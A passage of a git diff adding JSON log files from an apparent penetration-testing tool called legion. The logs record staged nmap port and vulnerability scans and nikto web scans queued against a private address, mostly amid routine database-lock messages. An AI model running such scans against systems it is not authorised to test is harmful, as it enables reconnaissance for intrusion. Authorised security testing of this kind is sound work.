"controller", "filename": "controller.py", "line": 718}} +{"time": "2019-02-26 13:11:34,912", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:34,913", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:35,432", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:35,438", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:11:35,439", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:35,440", "name": "Waiting 0.36s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:35,818", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:35,820", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:14:00,341", "name": "Settings have NOT been changed.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 117}} +{"time": "2019-02-26 13:14:00,349", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:14:00,350", "name": "Waiting 0.02s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:14:00,395", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:14:00,413", "name": "Exiting application..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "view", "filename": "view.py", "line": 493}} diff --git a/log/legion-startup.log b/log/legion-startup.log index 8b137891..48c03bb3 100644 --- a/log/legion-startup.log +++ b/log/legion-startup.log @@ -1 +1,244 @@ +{"time": "2019-02-26 13:05:59,144", "name": "Creating temporary files..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 30}} +{"time": "2019-02-26 13:05:59,147", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 32}} +{"time": "2019-02-26 13:05:59,152", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-usernames.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} +{"time": "2019-02-26 13:05:59,155", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-passwords.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} +{"time": "2019-02-26 13:05:59,163", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/tmp/legion-sfautv7t.legion", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 42}} +{"time": "2019-02-26 13:05:59,865", "name": "Loading settings file..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "settings", "filename": "settings.py", "line": 26}} +{"time": "2019-02-26 13:06:14,835", "name": "runStagedNmap called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:06:14,840", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:06:14,843", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:06:14,844", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:06:14,850", "name": "Waiting 0.33s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:06:15,200", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:06:15,206", "name": "Queuing: nmap -T4 -sC -sSU -p T:80,443 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130614838488-nmapstage1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:06:15,258", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:06:15,260", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:06:15,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:06:15,934", "name": "runCommand called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:06:15,934", "name": "runCommand connected for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:07:36,413", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:36,415", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:37,271", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:37,403", "name": "Process 1 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:07:37,475", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:07:37,629", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:37,632", "name": "Waiting 0.05s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:37,726", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:37,732", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:07:37,742", "name": "runStagedNmap called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:07:37,761", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:37,776", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:37,781", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:37,798", "name": "Waiting 0.38s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:38,236", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:38,246", "name": "Queuing: nmap -T4 -sC -n -sSU -O -p T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130737760118-nmapstage2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:38,312", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:38,315", "name": "Waiting 0.85s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:39,186", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:39,189", "name": "runCommand called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:39,190", "name": "runCommand connected for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:07:39,222", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:07:39,224", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:07:39,236", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:39,239", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:39,242", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:39,244", "name": "Waiting 0.22s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:39,494", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:39,499", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739226281-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:39,543", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:39,546", "name": "Waiting 0.35s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:39,914", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:39,916", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:39,918", "name": "Running tools for: https on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:07:39,933", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:39,936", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:39,938", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:39,943", "name": "Waiting 0.97s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:40,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:40,936", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739922613-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:40,975", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:40,978", "name": "Waiting 0.25s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:41,271", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:41,273", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:41,276", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:07:41,278", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:07:45,641", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:45,643", "name": "Waiting 0.73s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:46,396", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:46,566", "name": "Process 2 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:07:46,658", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:07:46,842", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:46,845", "name": "Waiting 0.49s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:47,358", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:47,360", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:07:47,365", "name": "runStagedNmap called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:07:47,368", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:47,375", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:47,381", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:47,395", "name": "Waiting 0.57s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:47,999", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:48,004", "name": "Queuing: nmap -sV --script=./scripts/nmap/vulners.nse -vvvv 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130747368080-nmapstage3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:48,048", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:48,050", "name": "Waiting 0.44s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:48,519", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:48,521", "name": "runCommand called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:48,522", "name": "runCommand connected for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:07:48,527", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:07:48,528", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} +{"time": "2019-02-26 13:07:48,534", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} +{"time": "2019-02-26 13:07:49,397", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:49,398", "name": "Waiting 0.15s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:49,564", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:51,250", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:51,252", "name": "Waiting 0.84s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:52,094", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:56,552", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:56,554", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:57,445", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:57,451", "name": "Process 4 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:07:57,456", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:07:57,474", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:57,475", "name": "Waiting 0.46s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:57,965", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:57,967", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:08:02,105", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:08:02,107", "name": "Waiting 0.66s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:08:02,770", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:09:35,726", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:09:35,727", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:09:36,467", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:09:36,473", "name": "Process 3 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:09:36,479", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:09:36,480", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:09:36,481", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:09:37,006", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:09:37,008", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:10:56,316", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:56,318", "name": "Waiting 0.58s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:56,924", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:57,060", "name": "Process 5 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:10:57,178", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:10:57,415", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:57,419", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:58,310", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:58,313", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:10:58,316", "name": "runStagedNmap called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:10:58,320", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:10:58,326", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:10:58,328", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:58,330", "name": "Waiting 0.99s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:59,340", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:59,344", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:23,21,22,110,111,2049,3389,8080,U:500,5060 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131058319994-nmapstage4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:10:59,388", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:59,391", "name": "Waiting 0.09s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:10:59,497", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:10:59,499", "name": "runCommand called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:10:59,500", "name": "runCommand connected for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:10:59,505", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:10:59,506", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:10:59,507", "name": "Running tools for: domain on 192.168.2.2:53", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:10:59,516", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:10:59,523", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:10:59,525", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:10:59,535", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:10:59,537", "name": "Waiting 0.53s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:00,089", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:00,094", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131059518548-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:11:00,139", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:11:00,141", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:11:00,588", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:11:00,590", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:11:00,591", "name": "Running tools for: http on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:11:00,600", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:11:00,604", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 